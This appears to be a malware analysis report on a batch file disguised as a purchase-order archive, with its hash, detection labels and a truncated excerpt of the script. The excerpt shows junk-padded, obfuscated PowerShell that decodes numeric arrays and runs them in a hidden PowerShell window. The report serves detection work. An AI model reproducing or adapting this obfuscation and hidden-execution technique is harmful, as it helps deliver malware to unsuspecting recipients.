01102026_0638_30092026_PO 202606672-4.cmd.zip
Obfuscated PowerShell payload execution
Numeric character array payloadPowerShell executable name reference
SHA-256c7a5959ab1e850a0dec72babae0d6cbdccf97bb77bb5a4dcc8d0ead1c60918c8
MaleculeO(As₃)H(Po₂)Md₃(BiPa)
Evidence
1
2@echo off
3set "Cabbalahs=function kLpx9_rt { [Math]::Sqrt(144) ^| Out-Null };$studworks=@(83,117,98,100,111,109,105,110,97,110,116,101,114,115);[System.Environment]::TickCount ^| Out-Null;$temporosphenoidal=-38104+44104;$loadspecs=14;function zQvm7_wk { [System.Guid]::NewGuid().ToString() ^| Out-Null };function Unabusive ($glochidia) {if ($klammerierne) { [Math]::Sin(24) ^| Out-Null };$lidenskabslses=$topasen.Trim();.($lidenskabslses) $glochidia;if (5 -gt 99) { [Convert]::ToString(128, 16) ^| Out-Null }}[Math]::Truncate(55.78) ^| Out-Null;function polska ($colourists,$nummersystemet) {$bllehat=konverteren(@(119,216,209,208,222,226,219,215,212,226,231,146,212,235,194,231,138,136,221,226,214,219,198,224,231,222,229,231,184,226,199,216,152));if ($irrestrainable37) { [System.IO.Path]::GetTempPath() ^| Out-Null };Unabusive ($bllehat)}function tBvy4_oq { [System.String]::Concat('zylx', 'plof') ^| Out-Null };function doctor ($savnin …
3:1119… ;if ($cantokors) { [Math]::Cbrt(27) ^| Out-Null };while($true) {$underpanters253[$nonpreferable]-=$studworks[$nonpreferable%%$loadspecs];$berrt+=doctor($underpanters253[$nonpreferable++]);if (8 -eq 44) { [System.BitConverter]::GetBytes( …
3:5401…
4
5
6set "Phocoid=%SystemRoot%\syswow64\WindowsPowerShell\v1.0\powershell.exe"
7if not exist "%Phocoid%" (
8set "Phocoid=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"
9)
10
11echo %%Cabbalahs%% | "%Phocoid%" -windowstyle hidden -
No evidence locations were recorded for this file. Raw result